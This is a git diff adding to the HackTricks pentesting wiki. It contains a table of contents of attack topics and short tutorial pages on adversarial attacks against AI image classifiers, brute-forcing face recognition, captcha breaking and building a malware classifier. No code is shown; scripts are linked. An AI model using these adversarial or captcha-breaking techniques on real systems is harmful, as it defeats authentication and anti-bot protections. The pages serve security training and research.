+* [6000 - Pentesting X11](pentesting/6000-pentesting-x11.md)
+* [6379 - Pentesting Redis](pentesting/6379-pentesting-redis.md)
+* [8009 - Pentesting Apache JServ Protocol \(AJP\)](pentesting/8009-pentesting-apache-jserv-protocol-ajp.md)
+* [8089 - Splunkd](pentesting/8089-splunkd.md)
+* [9000 - Pentesting FastCGI](pentesting/9000-pentesting-fastcgi.md)
+* [9001 - Pentesting HSQLDB](pentesting/9001-pentesting-hsqldb.md)
+* [9042/9160 - Pentesting Cassandra](pentesting/cassandra.md)
+* [9100 - Pentesting Raw Printing \(JetDirect, AppSocket, PDL-datastream\)](pentesting/9100-pjl.md)
+* [9200 - Pentesting Elasticsearch](pentesting/9200-pentesting-elasticsearch.md)
+* [10000 - Pentesting Network Data Management Protocol \(ndmp\)](pentesting/10000-network-data-management-protocol-ndmp.md)
+* [11211 - Pentesting Memcache](pentesting/11211-memcache.md)
+* [15672 - Pentesting RabbitMQ Management](pentesting/15672-pentesting-rabbitmq-management.md)
+* [27017,27018 - Pentesting MongoDB](pentesting/27017-27018-mongodb.md)
+* [44818/UDP/TCP - Pentesting EthernetIP](pentesting/44818-ethernetip.md)
+* [47808/udp - Pentesting BACNet](pentesting/47808-udp-bacnet.md)
+* [50030,50060,50070,50075,50090 - Pentesting Hadoop](pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md)
+
+## Pentesting Web
+
+* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
+* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
+  * [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
+* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
+* [Abusing hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
+* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
+* [Captcha Bypass](pentesting-web/captcha-bypass.md)
+* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception.md)
+* [Clickjacking](pentesting-web/clickjacking.md)
+* [Client Side Template Injection \(CSTI\)](pentesting-web/client-side-template-injection-csti.md)
+* [Command Injection](pentesting-web/command-injection.md)
+* [Content Security Policy \(CSP\) Bypass](pentesting-web/content-security-policy-csp-bypass.md)
+* [Cookies Hacking](pentesting-web/hacking-with-cookies.md)
+* [CORS - Misconfigurations & Bypass](pentesting-web/cors-bypass.md)
+* [CRLF \(%0D%0A\) Injection](pentesting-web/crlf-0d-0a.md)
+* [Cross-site WebSocket hijacking \(CSWSH\)](pentesting-web/cross-site-websocket-hijacking-cswsh.md)
+* [CSRF \(Cross Site Request Forgery\)](pentesting-web/csrf-cross-site-request-forgery.md)
+* [Dangling Markup - HTML scriptless injection](pentesting-web/dangling-markup-html-scriptless-injection.md)
+* [Deserialization](pentesting-web/deserialization/README.md)
+  * [NodeJS - \_\_proto\_\_ & prototype Pollution](pentesting-web/deserialization/nodejs-proto-prototype-pollution.md)
+  * [Java JSF ViewState \(.faces\) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
+  * [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
+  * [Basic Java Deserialization \(ObjectInputStream, readObject\)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
+  * [CommonsCollection1 Payload - Java Transformers to Rutime exec\(\) and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
+  * [Basic .Net deserialization \(ObjectDataProvider gadget, ExpandedWrapper, and Json.Net\)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
+  * [Exploiting \_\_VIEWSTATE knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md)
+  * [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
+* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
+* [Email Header Injection](pentesting-web/email-header-injection.md)
+* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
+  * [phar:// deserialization](pentesting-web/file-inclusion/phar-deserialization.md)
+* [File Upload](pentesting-web/file-upload/README.md)
+  * [PDF Upload - XXE and CORS bypass](pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md)
+* [Formula Injection](pentesting-web/formula-injection.md)
+* [HTTP Request Smuggling / HTTP Desync Attack](pentesting-web/http-request-smuggling.md)
+* [H2C Smuggling](pentesting-web/h2c-smuggling.md)
+* [IDOR](pentesting-web/idor.md)
+* [JWT Vulnerabilities \(Json Web Tokens\)](pentesting-web/hacking-jwt-json-web-tokens.md)
+* [NoSQL injection](pentesting-web/nosql-injection.md)
+* [LDAP Injection](pentesting-web/ldap-injection.md)
+* [Login Bypass](pentesting-web/login-bypass/README.md)
+  * [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
+* [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
+* [Open Redirect](pentesting-web/open-redirect.md)
+* [Parameter Pollution](pentesting-web/parameter-pollution.md)
+* [PostMessage Vulnerabilities](pentesting-web/postmessage-vulnerabilities.md)
+* [Race Condition](pentesting-web/race-condition.md)
+* [Rate Limit Bypass](pentesting-web/rate-limit-bypass.md)
+* [Registration Vulnerabilities](pentesting-web/registration-vulnerabilities.md)
+* [Regular expression Denial of Service - ReDoS](pentesting-web/regular-expression-denial-of-service-redos.md)
+* [Reset/Forgotten Password Bypass](pentesting-web/reset-password.md)
+* [SAML Attacks](pentesting-web/saml-attacks/README.md)
+  * [SAML Basics](pentesting-web/saml-attacks/saml-basics.md)
+* [Server Side Inclusion/Edge Side Inclusion Injection](pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md)
+* [SQL Injection](pentesting-web/sql-injection/README.md)
+  * [MSSQL Injection](pentesting-web/sql-injection/mssql-injection.md)
+  * [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
+  * [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
+    * [dblink/lo\_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md)
+    * [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
+    * [Network - Privesc, Port Scanner and NTLM chanllenge response disclosure](pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
+    * [Big Binary Files Upload \(PostgreSQL\)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
+    * [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
+  * [MySQL injection](pentesting-web/sql-injection/mysql-injection/README.md)
+    * [Mysql SSRF](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
+  * [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md)
+    * [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)
+* [SSRF \(Server Side Request Forgery\)](pentesting-web/ssrf-server-side-request-forgery.md)
+* [SSTI \(Server Side Template Injection\)](pentesting-web/ssti-server-side-template-injection/README.md)
+  * [EL - Expression Language](pentesting-web/ssti-server-side-template-injection/el-expression-language.md)
+* [Reverse Tab Nabbing](pentesting-web/reverse-tab-nabbing.md)
+* [Unicode Normalization vulnerability](pentesting-web/unicode-normalization-vulnerability.md)
+* [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
+* [XPATH injection](pentesting-web/xpath-injection.md)
+* [XSLT Server Side Injection \(Extensible Stylesheet Languaje Transformations\)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
+* [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
+* [XSS \(Cross Site Scripting\)](pentesting-web/xss-cross-site-scripting/README.md)
+  * [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
+  * [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
+  * [Server Side XSS \(Dynamic PDF\)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
+  * [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)
+* [XSSI \(Cross-Site Script Inclusion\)](pentesting-web/xssi-cross-site-script-inclusion.md)
+* [XS-Search](pentesting-web/xs-search.md)
+
+## Forensics
+
+* [Basic Forensic Methodology](forensics/basic-forensic-methodology/README.md)
+  * [Baseline Monitoring](forensics/basic-forensic-methodology/file-integrity-monitoring.md)
+  * [Anti-Forensic Techniques](forensics/basic-forensic-methodology/anti-forensic-techniques.md)
+  * [Docker Forensics](forensics/basic-forensic-methodology/docker-forensics.md)
+  * [Image Adquisition & Mount](forensics/basic-forensic-methodology/image-adquisition-and-mount.md)
+  * [Linux Forensics](forensics/basic-forensic-methodology/linux-forensics.md)
+  * [Malware Analysis](forensics/basic-forensic-methodology/malware-analysis.md)
+  * [Memory dump analysis](forensics/basic-forensic-methodology/memory-dump-analysis/README.md)
+    * [Volatility - CheatSheet](forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples.md)
+  * [Partitions/File Systems/Carving](forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md)
+    * [EXT](forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md)
+    * [File/Data Carving & Recovery Tools](forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
+    * [NTFS](forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md)
+  * [Pcap Inspection](forensics/basic-forensic-methodology/pcap-inspection/README.md)
+    * [DNSCat pcap analysis](forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
+    * [USB Keystrokes](forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
+    * [Wifi Pcap Analysis](forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
+    * [Wireshark tricks](forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
+  * [Specific Software/File-Type Tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
+    * [.pyc](forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
+    * [Browser Artifacts](forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
+    * [Desofuscation vbs \(cscript.exe\)](forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
+    * [Local Cloud Storage](forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
+    * [Office file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
+    * [PDF File analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
+    * [PNG tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
+    * [Video and Audio file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
+    * [ZIPs tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
+  * [Windows Artifacts](forensics/basic-forensic-methodology/windows-forensics/README.md)
+    * [Windows Processes](forensics/basic-forensic-methodology/windows-forensics/windows-processes.md)
+    * [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
+
+## A.I. Exploiting
+
+* [BRA.I.NSMASHER Presentation](a.i.-exploiting/bra.i.nsmasher-presentation/README.md)
+  * [Basic Bruteforcer](a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md)
+  * [Basic Captcha Breaker](a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md)
+  * [BIM Bruteforcer](a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md)
+  * [Hybrid Malware Classifier Part 1](a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md)
+
+## Blockchain
+
+* [Blockchain & Crypto Currencies](blockchain/blockchain-and-crypto-currencies.md)
+
+## Courses and Certifications Reviews
+
+* [INE Courses and eLearnSecurity Certifications Reviews](courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md)
+
+## Cloud Security
+
+* [Cloud security review](cloud-security/cloud-security-review.md)
+* [AWS Security](cloud-security/aws-security.md)
+
+## Physical attacks
+
+* [Physical Attacks](physical-attacks/physical-attacks.md)
+* [Escaping from KIOSKs](physical-attacks/escaping-from-gui-applications/README.md)
+  * [Show file extensions](physical-attacks/escaping-from-gui-applications/show-file-extensions.md)
+
+## Reversing
+
+* [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
+  * [Angr](reversing/reversing-tools-basic-methods/angr.md)
+  * [Z3 - Satisfiability Modulo Theories \(SMT\)](reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
+  * [Cheat Engine](reversing/reversing-tools-basic-methods/cheat-engine.md)
+  * [Blobrunner](reversing/reversing-tools-basic-methods/blobrunner.md)
+* [Common API used in Malware](reversing/common-api-used-in-malware.md)
+* [Cryptographic/Compression Algorithms](reversing/cryptographic-algorithms/README.md)
+  * [Unpacking binaries](reversing/cryptographic-algorithms/unpacking-binaries.md)
+* [Word Macros](reversing/word-macros.md)
+
+## Exploiting
+
+* [Linux Exploiting \(Basic\) \(SPA\)](exploiting/linux-exploiting-basic-esp/README.md)
+  * [Format String Template](exploiting/linux-exploiting-basic-esp/format-string-template.md)
+  * [ROP - Syscall execv](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
+  * [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address.md)
+  * [ROP-PWN template](exploiting/linux-exploiting-basic-esp/rop-pwn-template.md)
+  * [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
+  * [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
+  * [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
+* [Exploiting Tools](exploiting/tools/README.md)
+  * [PwnTools](exploiting/tools/pwntools.md)
+* [Windows Exploiting \(Basic Guide - OSCP lvl\)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
+
+## Cryptography
+
+* [Certificates](cryptography/certificates.md)
+* [Cipher Block Chaining CBC-MAC](cryptography/cipher-block-chaining-cbc-mac-priv.md)
+* [Crypto CTFs Tricks](cryptography/crypto-ctfs-tricks.md)
+* [Electronic Code Book \(ECB\)](cryptography/electronic-code-book-ecb.md)
+* [Hash Length Extension Attack](cryptography/hash-length-extension-attack.md)
+* [Padding Oracle](cryptography/padding-oracle-priv.md)
+* [RC4 - Encrypt&Decrypt](cryptography/rc4-encrypt-and-decrypt.md)
+
+## BACKDOORS
+
+* [Merlin](backdoors/merlin.md)
+* [Empire](backdoors/empire.md)
+* [Salseo](backdoors/salseo.md)
+* [ICMPsh](backdoors/icmpsh.md)
+
+## Stego
+
+* [Stego Tricks](stego/stego-tricks.md)
+* [Esoteric languages](stego/esoteric-languages.md)
+
+## MISC
+
+* [Basic Python](misc/basic-python/README.md)
+  * [venv](misc/basic-python/venv.md)
+  * [Bypass Python sandboxes](misc/basic-python/bypass-python-sandboxes.md)
+  * [Magic Methods](misc/basic-python/magic-methods.md)
+  * [Web Requests](misc/basic-python/web-requests.md)
+  * [Bruteforce hash \(few chars\)](misc/basic-python/bruteforce-hash-few-chars.md)
+* [Other Big References](misc/references.md)
+
+## TODO
+
+* [More Tools](todo/more-tools.md)
+* [MISC](todo/misc.md)
+* [Pentesting DNS](todo/pentesting-dns.md)
+
+---
+
+* [Burp Suite](burp-suite.md)
+* [Other Web Tricks](other-web-tricks.md)
+* [Interesting HTTP](interesting-http.md)
+* [Emails Vulnerabilities](emails-vulns.md)
+* [Android Forensics](android-forensics.md)
+* [TR-069](tr-069.md)
+* [6881/udp - Pentesting BitTorrent](6881-udp-pentesting-bittorrent.md)
+* [CTF Write-ups](ctf-write-ups/README.md)
+  * [challenge-0521.intigriti.io](ctf-write-ups/challenge-0521.intigriti.io.md)
+  * [Try Hack Me](ctf-write-ups/try-hack-me/README.md)
+    * [hc0n Christmas CTF - 2019](ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md)
+    * [Pickle Rick](ctf-write-ups/try-hack-me/pickle-rick.md)
+* [1911 - Pentesting fox](1911-pentesting-fox.md)
+* [Online Platforms with API](online-platforms-with-api.md)
+* [Stealing Sensitive Information Disclosure from a Web](stealing-sensitive-information-disclosure-from-a-web.md)
+* [Post Exploitation](post-exploitation.md)
+
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md
new file mode 100644
index 00000000000..136a58d35ef
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md
@@ -0,0 +1,13 @@
+#BRUTEFORCER CORE SCRIPT WITH BIM ATTACK
+
+This time we introduce a new type of gradient based attack, in order to brute force an image classification app (can be shaped and used for any input of course), the BIM, or Basic Iteration Method.
+
+It's reccomended to see at least the explanation in the [**introduction challenge colab Notebook**](//https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR)
+
+To go deeper on the BIM topic:
+https://arxiv.org/pdf/1607.02533.pdf
+
+As usual we will provide only the A.I. attack core part, it's up to you to complete the tool and blending it with PT techniques, depending on the situations.
+
+Please Note:
+Remeber, in those kind of scenarios, in order to mime real-based attack applications, we don't have the exact model to fool or the image target in which we would like to transform our image. That's why, in order to overcome this issue, we must blend our core script, with a bruteforcer logic, accordingly to the application responses we want to fool.
\ No newline at end of file
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md
new file mode 100644
index 00000000000..837c1cb88fe
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md
@@ -0,0 +1,13 @@
+
+# BRUTEFORCER IMAGE CORRUPTION SCRIPT
+
+The purpose here is to introduce the user to some basic concepts about **A.I. apps exploiting**, via some easy to follow scripts, which represents the core for writing useful tools.<br>
+In this example (which can be used to solve the easy labs of BrainSmasher) by recalling also what is written in the solution for the introduction challenge, we will provide a simple yet useful way, in order to iteratively produce some corrupted images, to bruteforce the face recon easy labs (and thus also real applications that relies on the same principles)
+
+Of course we will not provide the full code but only the core part for the exploiting of the model,**instead some exercises will be left to the user (the pentesting part)**, in order to complete the tool. We will provides also some hints, just to give an idea of what can be done.
+
+The script can be found at [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV)
+
+Try it on our labs [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu/)
+<br>
+Enjoy and stay safe!
\ No newline at end of file
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md b/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md
new file mode 100644
index 00000000000..672b78230a9
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md
@@ -0,0 +1,18 @@
+#A.I. HYBRID MALWARE CLASSIFIER
+##INTERMEDIATE PYTHON SKILL, INTERMEDIATE MACHINE LEARNING SKILLS (Part 1)
+
+In this series of notebook we are going to build an **hybrid malware classifier.**
+
+For the **First part** we will focus on the scripting that involves dynamic analysis. Any steps of this series will come useful in order to detect malwares, and in this piece we will try to classify them based on their behaviour, utilizing the logs produced by running a program.
+
+In the **Second Part** we will see how to manipulate the logs files in order to add robustness to our classifier and adjust the code to counter the more advanced methods of A.I. Malware Evasion.
+
+In the **Third Part** we will create a Static Malware Classifier.
+
+For the **Fourth Part** For the Fourth Part we will add some tactics to add robustness to our Static classifier and merge the latter with our Dynamic Classifier.
+
+**PLEASE NOTE:** This Series strongly relies on building a dataset on your own, even if it's not mandatory.<br>
+There are also many available datasets for Static and/ or Dynamic Malware analysis on several sites for this type of classification, like Ember, VirusShare, Sorel-20M, but i strongly encourage that you build one or your own.
+
+Here's the link to our [**colab notebook**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) enjoy and stay safe :)
+
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md
new file mode 100644
index 00000000000..d47078e06a4
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md
@@ -0,0 +1,37 @@
+# BRA.I.NSMASHER Presentation
+
+## Presentation
+
+**BrainSmasher** is a platform made with the purpose of aiding **pentesters, researcher, students, A.I. Cybersecurity engineers** to practice and learn all the techniques for **exploiting commercial A.I.** applications, by working on specifically crafted labs that reproduce several systems, like face recognition, speech recognition, ensemble image classification, autonomous drive, malware evasion, chatbot, data poisoning etc...
+
+Every month a lab on various topic found in commercial A.I. applications will be posted, with **3 different difficulties** \(named challenges\), in order to **guide** the user in **understanding** all the mechanics behind it and practice **different** ways of **exploitation**.
+
+Since A.I. applications are relatively new, there is also the possibility that the **harder difficulty challenges for the labs don't have some public known ways of exploitation**, so it's up to you to find the correct solution. Maybe some challenges could need the **combination** of "**standard**" **cybersecurity** techniques with **machine** **learning** adversarial attacks ;\)
+
+The platform, which is now in **beta** version, will also feature in the next future **paid** competitions, **job** **offers** posting, **ranking** system, **tutorials** on several A.I. exploit topics, the possibility to **earn** **money** by **proposing** personal **labs** or different challenges, for an already existent A.I. lab applications, to be used by the community and also propose modification already existent challenges in order to augment their robustness vs. the various attacks.
+
+All the **material and the techs for the exploitation of A.I. will be posted here** in a dedicated section of hacktricks.
+
+**While** we are in **beta** version and completing the implementation of all the above described features, the subscription and all the already posted labs with their relative **challenges are free**.  
+**So start learning how to exploit A.I. for free while you can in** [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu/)  
+****ENJOY ;\)
+
+_A big thanks to Hacktricks and Carlos Polop for giving us this opportunity_ 
+
+> _Walter Miele from BrA.I.nsmasher_
+
+## Registry Challenge
+
+In order to register in [**BrA.I.Smasher** ](https://beta.brainsmasher.eu/)you need to solve an easy challenge \([**here**](https://beta.brainsmasher.eu/registrationChallenge)\).  
+Just think how you can confuse a neuronal network while not confusing the other one knowing that one detects better the panda while the other one is worse...
+
+{% hint style="info" %}
+However, if at some point you **don't know how to solve** the challenge, or **even if you solve it**, check out the official solution in [**google colab**](https://colab.research.google.com/drive/1MR8i_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing).
+{% endhint %}
+
+I have to tell you that there are **easier ways** to pass the challenge, but this **solution** is **awesome** as you will learn how to pass the challenge performing an **Adversarial Image performing a Fast Gradient Signed Method \(FGSM\) attack for images.**
+
+## More Tutorials
+
+{% page-ref page="basic-captcha-breaker.md" %}
+
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md
new file mode 100644
index 00000000000..fb92691197c
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md
@@ -0,0 +1,15 @@
+# Basic Bruteforcer
+
+## BRUTEFORCER IMAGE CORRUPTION SCRIPT
+
+The purpose here is to introduce the user to some basic concepts about **A.I. apps exploiting**, via some easy to follow scripts, which represents the core for writing useful tools.&lt;br&gt;  
+In this example \(which can be used to solve the easy labs of BrainSmasher\) by recalling also what is written in the solution for the introduction challenge, we will provide a simple yet useful way, in order to iteratively produce some corrupted images, to bruteforce the face recon easy labs \(and thus also real applications that relies on the same principles\)
+
+Of course we will not provide the full code but only the core part for the exploiting of the model, **instead some exercises will be left to the user \(the pentesting part\)**, in order to complete the tool. We will provides also some hints, just to give an idea of what can be done.
+
+The script can be found at [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV)
+
+Try it on our labs [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu/)
+
+Enjoy and stay safe!
+
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md
new file mode 100644
index 00000000000..dcb34ebd55b
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md
@@ -0,0 +1,7 @@
+# Basic Captcha Breaker
+
+In this tutorial **a basic captcha is going to be broken**.  
+A **NN is going to be trained** using several **images** that represents **letters** and then this NN is going to be used to **automatically identify the letters inside a captcha image**.
+
+Check the awesome guided tutorial provided by [**BrA.In Smasher**](https://beta.brainsmasher.eu/) in this [**google collab page**](https://colab.research.google.com/drive/1uiQJpqEj5V2_ijoumSd2noaDJuniTlKq?usp=sharing).
+
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md
new file mode 100644
index 00000000000..2fdaee8df57
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md
@@ -0,0 +1,16 @@
+# BIM Bruteforcer
+
+## BRUTEFORCER CORE SCRIPT WITH BIM ATTACK
+
+This time we introduce a new type of gradient based attack, in order to brute force an image classification app \(can be shaped and used for any input of course\), the BIM, or Basic Iteration Method.
+
+It’s recommended to see at least the explanation in the [**introduction challenge colab Notebook**](https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR)\*\*\*\*
+
+To go deeper on the BIM topic:[ https://arxiv.org/pdf/1607.02533.pdf](https://arxiv.org/pdf/1607.02533.pdf)
+
+As usual we will provide only the A.I. attack core part, it’s up to you to complete the tool and blending it with PT techniques, depending on the situations.
+
+{% hint style="info" %}
+Remember, in those kind of scenarios, in order to mime real-based attack applications, we don’t have the exact model to fool or the image target in which we would like to transform our image. That’s why, in order to overcome this issue, we must blend our core script, with a bruteforcer logic, accordingly to the application responses we want to fool.
+{% endhint %}
+
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md b/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md
new file mode 100644
index 00000000000..1228526893c
--- /dev/null
+++ b/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md
@@ -0,0 +1,22 @@
+# Hybrid Malware Classifier Part 1
+
+## A.I. HYBRID MALWARE CLASSIFIER
+
+### INTERMEDIATE PYTHON SKILL, INTERMEDIATE MACHINE LEARNING SKILLS \(Part 1\)
+
+In this series of notebook we are going to build an **hybrid malware classifier.**
+
+For the **First part** we will focus on the scripting that involves dynamic analysis. Any steps of this series will come useful in order to detect malwares, and in this piece we will try to classify them based on their behaviour, utilizing the logs produced by running a program.
+
+In the **Second Part** we will see how to manipulate the logs files in order to add robustness to our classifier and adjust the code to counter the more advanced methods of A.I. Malware Evasion.
+
+In the **Third Part** we will create a Static Malware Classifier.
+
+For the **Fourth Part** For the Fourth Part we will add some tactics to add robustness to our Static classifier and merge the latter with our Dynamic Classifier.
+
+**PLEASE NOTE:** This Series strongly relies on building a dataset on your own, even if it’s not mandatory.
+
+There are also many available datasets for Static and/ or Dynamic Malware analysis on several sites for this type of classification, like Ember, VirusShare, Sorel-20M, but i strongly encourage that you build one or your own.
+
+Here’s the link to our [**colab notebook**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) enjoy and stay safe :\)
+
diff --git a/about-the-author.md b/about-the-author.md
new file mode 100644
index 00000000000..0ad8f853abe
--- /dev/null
+++ b/about-the-author.md
@@ -0,0 +1,31 @@
+# About the author
+
+### Hello!!
+
+This is **Carlos Polop**.
+
+First of all, I want to indicate that **I don't own this entire book**, a lot of **information was copy/pasted from other websites and that content belongs to them** \(this is indicated on the pages\).
+
+I also wants to say **thanks to all the people that share cyber-security related information for free** on the Internet. Thanks to them I learn new hacking techniques that then I add to Hacktricks.
+
+### BIO
+
+If for some weird reason you are interested in knowing about my bio here you have a summary:
+
+* I've worked in different companies as sysadmin, developer and **pentester**.
+* I'm a **Telecommunications Engineer** with a **Masters** in **Cybersecurity**
+* Relevant certifications: **OSCP, OSWE**, **CRTP, eMAPT, eWPTXv2** and Professional Drone pilot.
+* I speak **Spanish** and **English** and little of French \(some day I will improve that\).
+* I'm a **CTF player**
+* I'm very proud of this **book** and my **PEASS** \(I'm talking about these peass: [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)\)
+* And I really enjoy researching, playing CTFs, pentesting and everything related to **hacking**.
+
+### Support HackTricks
+
+Thank you for be **reading this**!
+
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+
